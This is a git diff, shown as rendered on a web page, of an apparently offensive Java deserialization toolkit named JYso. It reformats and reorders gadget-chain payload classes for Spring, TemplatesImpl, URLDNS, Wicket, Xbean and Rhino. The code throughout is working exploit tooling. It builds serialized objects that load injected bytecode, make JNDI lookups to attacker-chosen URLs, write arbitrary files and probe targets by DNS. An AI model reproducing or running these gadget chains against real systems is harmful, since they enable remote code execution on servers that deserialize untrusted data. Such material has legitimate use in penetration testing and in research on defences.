Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ScriptableObject dummyScope = new Environment(); ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<Object, Object>(); Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")}); Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment(); ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot); Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox); Reflections.setFieldValue(slot, "getter", initContextMemberBox);
src/main/java/com/qi4l/JYso/gadgets/Spring1.java
+1 -1
View File
@@ -66,7 +66,7 @@ public class Spring1 implements ObjectPayload<Object> {
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer"); Reflections.setFieldValue(mitp, "methodName", "newTransformer");
return mitp; return mitp;
src/main/java/com/qi4l/JYso/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java
+16 -14
View File
@@ -6,29 +6,31 @@ import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.BeanFactory; import org.springframework.beans.factory.BeanFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory; import org.springframework.jndi.support.SimpleJndiBeanFactory;
public class SpringAbstractBeanFactoryPointcutAdvisor implements ObjectPayload<Object>{ public class SpringAbstractBeanFactoryPointcutAdvisor implements ObjectPayload<Object> {
@Override public static Object makeBeanFactoryTriggerBFPA(UtilFactory uf, String name, BeanFactory bf) throws Exception {
public Object getObject(String command) throws Exception {
return makeBeanFactoryPointcutAdvisor(command);
}
public Object makeBeanFactoryPointcutAdvisor (String args ) throws Exception {
String jndiUrl = args;
UtilFactory uf = new UtilFactory();
BeanFactory bf = makeJNDITrigger(jndiUrl);
return makeBeanFactoryTriggerBFPA(uf,jndiUrl, bf);
}
public static Object makeBeanFactoryTriggerBFPA (UtilFactory uf,String name, BeanFactory bf ) throws Exception {
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor(); DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf); pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(name); pcadv.setAdviceBeanName(name);
return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor()); return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor());
} }
public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {
public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl); bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog()); Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
return bf; return bf;
} }
@Override
public Object getObject(String command) throws Exception {
return makeBeanFactoryPointcutAdvisor(command);
}
public Object makeBeanFactoryPointcutAdvisor(String args) throws Exception {
String jndiUrl = args;
UtilFactory uf = new UtilFactory();
BeanFactory bf = makeJNDITrigger(jndiUrl);
return makeBeanFactoryTriggerBFPA(uf, jndiUrl, bf);
}
} }
src/main/java/com/qi4l/JYso/gadgets/SpringPartiallyComparableAdvisorHolder.java
+15 -13
View File
@@ -12,18 +12,8 @@ import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload<Object>{ public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload<Object> {
@Override public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception {
public Object getObject(String command) throws Exception {
return makePartiallyComparableAdvisorHolder(command);
}
public Object makePartiallyComparableAdvisorHolder (String args ) throws Exception {
String jndiUrl = args;
UtilFactory uf = new UtilFactory();
BeanFactory bf = makeJNDITrigger(jndiUrl);
return makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf);
}
public static BeanFactory makeJNDITrigger (String jndiUrl ) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl); bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog()); Reflections.setFieldValue(bf, "logger", new NoOpLog());
@@ -31,7 +21,7 @@ public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload<Obj
return bf; return bf;
} }
public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException, public static Object makeBeanFactoryTriggerPCAH(UtilFactory uf, String name, BeanFactory bf) throws ClassNotFoundException,
NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf); Reflections.setFieldValue(aif, "beanFactory", bf);
@@ -54,5 +44,17 @@ public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload<Obj
return uf.makeToStringTriggerUnstable(pcah); return uf.makeToStringTriggerUnstable(pcah);
} }
@Override
public Object getObject(String command) throws Exception {
return makePartiallyComparableAdvisorHolder(command);
}
public Object makePartiallyComparableAdvisorHolder(String args) throws Exception {
String jndiUrl = args;
UtilFactory uf = new UtilFactory();
BeanFactory bf = makeJNDITrigger(jndiUrl);
return makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf);
}
} }
src/main/java/com/qi4l/JYso/gadgets/SpringPropertyPathFactory.java
+1 -4
View File
@@ -1,13 +1,10 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.BeanFactory; import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.config.PropertyPathFactoryBean; import org.springframework.beans.factory.config.PropertyPathFactoryBean;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
public class SpringPropertyPathFactory implements ObjectPayload<Object>{ public class SpringPropertyPathFactory implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
String jndiUrl = command; String jndiUrl = command;
src/main/java/com/qi4l/JYso/gadgets/SpringUtil.java
+7 -6
View File
@@ -28,10 +28,11 @@ public final class SpringUtil {
/** /**
* *
*/ */
private SpringUtil() {} private SpringUtil() {
}
public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception { public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl); bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog()); Reflections.setFieldValue(bf, "logger", new NoOpLog());
@@ -40,7 +41,7 @@ public final class SpringUtil {
} }
public static BeanFactory makeMethodTrigger ( Object o, String method ) throws Exception { public static BeanFactory makeMethodTrigger(Object o, String method) throws Exception {
DefaultListableBeanFactory bf = new DefaultListableBeanFactory(); DefaultListableBeanFactory bf = new DefaultListableBeanFactory();
RootBeanDefinition caller = new RootBeanDefinition(); RootBeanDefinition caller = new RootBeanDefinition();
@@ -56,14 +57,14 @@ public final class SpringUtil {
Reflections.getField(DefaultListableBeanFactory.class, "logger").set(bf, new NoOpLog()); Reflections.getField(DefaultListableBeanFactory.class, "logger").set(bf, new NoOpLog());
Reflections.getField(DefaultListableBeanFactory.class, "prototypesCurrentlyInCreation").set(bf, new ThreadLocal<>()); Reflections.getField(DefaultListableBeanFactory.class, "prototypesCurrentlyInCreation").set(bf, new ThreadLocal<>());
@SuppressWarnings ( "unchecked" ) @SuppressWarnings("unchecked")
Map<String, Object> objs = (Map<String, Object>) Reflections.getFieldValue(bf, "singletonObjects"); Map<String, Object> objs = (Map<String, Object>) Reflections.getFieldValue(bf, "singletonObjects");
objs.put("obj", o); objs.put("obj", o);
return bf; return bf;
} }
public static Object makeBeanFactoryTriggerBFPA ( UtilFactory uf, String name, BeanFactory bf ) throws Exception { public static Object makeBeanFactoryTriggerBFPA(UtilFactory uf, String name, BeanFactory bf) throws Exception {
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor(); DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf); pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(name); pcadv.setAdviceBeanName(name);
@@ -82,7 +83,7 @@ public final class SpringUtil {
* @throws InvocationTargetException * @throws InvocationTargetException
* @throws Exception * @throws Exception
*/ */
public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException, public static Object makeBeanFactoryTriggerPCAH(UtilFactory uf, String name, BeanFactory bf) throws ClassNotFoundException,
NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf); Reflections.setFieldValue(aif, "beanFactory", bf);
src/main/java/com/qi4l/JYso/gadgets/TemplatesUtil.java
+30 -31
View File
@@ -18,6 +18,8 @@ import java.io.Serializable;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
public class TemplatesUtil { public class TemplatesUtil {
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
static { static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled // special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true"); System.setProperty(DESERIALIZE_TRANSLET, "true");
@@ -26,30 +28,8 @@ public class TemplatesUtil {
System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("java.rmi.server.useCodebaseOnly", "false");
} }
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; public static Object createTemplatesImpl(final String[] args) throws Exception {
if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) {
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
@Override
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static Object createTemplatesImpl ( final String[] args ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) {
return createTemplatesImpl( return createTemplatesImpl(
args, args,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
@@ -60,8 +40,7 @@ public class TemplatesUtil {
return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
} }
public static <T> T createTemplatesImpl(final String[] args, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
public static <T> T createTemplatesImpl ( final String[] args, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception { throws Exception {
final T templates = tplClass.newInstance(); final T templates = tplClass.newInstance();
@@ -75,12 +54,11 @@ public class TemplatesUtil {
StringBuilder sb = new StringBuilder(); StringBuilder sb = new StringBuilder();
boolean first = true; boolean first = true;
for ( String arg : args ) { for (String arg : args) {
if ( !first ) { if (!first) {
sb.append(','); sb.append(',');
} } else {
else {
first = false; first = false;
} }
@@ -98,7 +76,7 @@ public class TemplatesUtil {
final byte[] classBytes = clazz.toBytecode(); final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance // inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
classBytes, ClassFiles.classAsBytes(Foo.class) classBytes, ClassFiles.classAsBytes(Foo.class)
}); });
@@ -107,4 +85,25 @@ public class TemplatesUtil {
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates; return templates;
} }
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
} }
src/main/java/com/qi4l/JYso/gadgets/ToStringUtil.java
+11 -12
View File
@@ -11,21 +11,21 @@ import java.util.function.Function;
public class ToStringUtil { public class ToStringUtil {
public static Object makeToStringTrigger ( Object o, Function<Object, Object> wrap ) throws Exception { public static Object makeToStringTrigger(Object o, Function<Object, Object> wrap) throws Exception {
String unhash = unhash(o.hashCode()); String unhash = unhash(o.hashCode());
XString xString = new XString(unhash); XString xString = new XString(unhash);
return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString)); return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString));
} }
public static Object makeToStringTrigger ( Object o ) throws Exception { public static Object makeToStringTrigger(Object o) throws Exception {
String unhash = unhash(o.hashCode()); String unhash = unhash(o.hashCode());
XString xString = new XString(unhash); XString xString = new XString(unhash);
return JDKUtil.makeMap(o, xString); return JDKUtil.makeMap(o, xString);
} }
public static Object makeJohnzonToStringTrigger ( Object o ) throws Exception { public static Object makeJohnzonToStringTrigger(Object o) throws Exception {
Class<?> clz = Class.forName("org.apache.johnzon.core.JsonObjectImpl"); //$NON-NLS-1$ Class<?> clz = Class.forName("org.apache.johnzon.core.JsonObjectImpl"); //$NON-NLS-1$
Constructor<?> dec = clz.getDeclaredConstructor(Map.class); Constructor<?> dec = clz.getDeclaredConstructor(Map.class);
dec.setAccessible(true); dec.setAccessible(true);
@@ -37,21 +37,21 @@ public class ToStringUtil {
} }
public static Object makeSpringAOPToStringTrigger ( Object o ) throws Exception { public static Object makeSpringAOPToStringTrigger(Object o) throws Exception {
return makeToStringTrigger(o, x -> { return makeToStringTrigger(o, x -> {
return new HotSwappableTargetSource(x); return new HotSwappableTargetSource(x);
}); });
} }
public static String unhash ( int hash ) { public static String unhash(int hash) {
int target = hash; int target = hash;
StringBuilder answer = new StringBuilder(); StringBuilder answer = new StringBuilder();
if ( target < 0 ) { if (target < 0) {
// String with hash of Integer.MIN_VALUE, 0x80000000 // String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE ) if (target == Integer.MIN_VALUE)
return answer.toString(); return answer.toString();
// Find target without sign bit set // Find target without sign bit set
target = target & Integer.MAX_VALUE; target = target & Integer.MAX_VALUE;
@@ -62,16 +62,15 @@ public class ToStringUtil {
} }
private static void unhash0 ( StringBuilder partial, int target ) { private static void unhash0(StringBuilder partial, int target) {
int div = target / 31; int div = target / 31;
int rem = target % 31; int rem = target % 31;
if ( div <= Character.MAX_VALUE ) { if (div <= Character.MAX_VALUE) {
if ( div != 0 ) if (div != 0)
partial.append((char) div); partial.append((char) div);
partial.append((char) rem); partial.append((char) rem);
} } else {
else {
unhash0(partial, div); unhash0(partial, div);
partial.append((char) rem); partial.append((char) rem);
} }
src/main/java/com/qi4l/JYso/gadgets/URLDNS.java
+3 -3
View File
@@ -121,8 +121,8 @@ public class URLDNS implements ObjectPayload<Object> {
public static Object getURLDNSGadget(String urls, String clazzName) throws Exception { public static Object getURLDNSGadget(String urls, String clazzName) throws Exception {
HashMap<Object, Object> hashMap = new HashMap<Object, Object>(); HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
URL url = new URL("http://" + urls); URL url = new URL("http://" + urls);
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); f.setAccessible(true);
f.set(url, Integer.valueOf(0)); f.set(url, Integer.valueOf(0));
Class<?> clazz = null; Class<?> clazz = null;
@@ -287,7 +287,7 @@ public class URLDNS implements ObjectPayload<Object> {
} }
String tYPE = command.substring(0, sep); String tYPE = command.substring(0, sep);
String url = command.substring(sep + 1); String url = command.substring(sep + 1);
switch (tYPE) { switch (tYPE) {
// common 时会测试不常被黑名单禁用的类 // common 时会测试不常被黑名单禁用的类
src/main/java/com/qi4l/JYso/gadgets/UtilFactory.java
+1 -1
View File
@@ -13,7 +13,7 @@ public class UtilFactory {
return JDKUtil.makeMap(tgt, sameHash); return JDKUtil.makeMap(tgt, sameHash);
} }
public Object makeToStringTriggerUnstable ( Object obj ) throws Exception { public Object makeToStringTriggerUnstable(Object obj) throws Exception {
return ToStringUtil.makeSpringAOPToStringTrigger(obj); return ToStringUtil.makeSpringAOPToStringTrigger(obj);
} }
src/main/java/com/qi4l/JYso/gadgets/Wicket1.java
+6 -6
View File
@@ -61,11 +61,11 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file // if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file // otherwise write the contents to repository temp file
File repository = new File(repoPath); File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null);
File outputFile = new File(filePath); File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data); os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos); Reflections.setFieldValue(diskFileItem, "dfos", dfos);
@@ -96,7 +96,7 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
} }
@Override @Override
public void release(DiskFileItem obj) throws Exception { public void release(Object obj) throws Exception {
} }
} }
src/main/java/com/qi4l/JYso/gadgets/Xbean.java
+1 -1
View File
@@ -8,7 +8,7 @@ import javax.naming.Context;
import javax.naming.Reference; import javax.naming.Reference;
import java.net.URI; import java.net.URI;
public class Xbean implements ObjectPayload<Object>{ public class Xbean implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
//需要处理command //需要处理command

Some files were not shown because too many files have changed in this diff Show More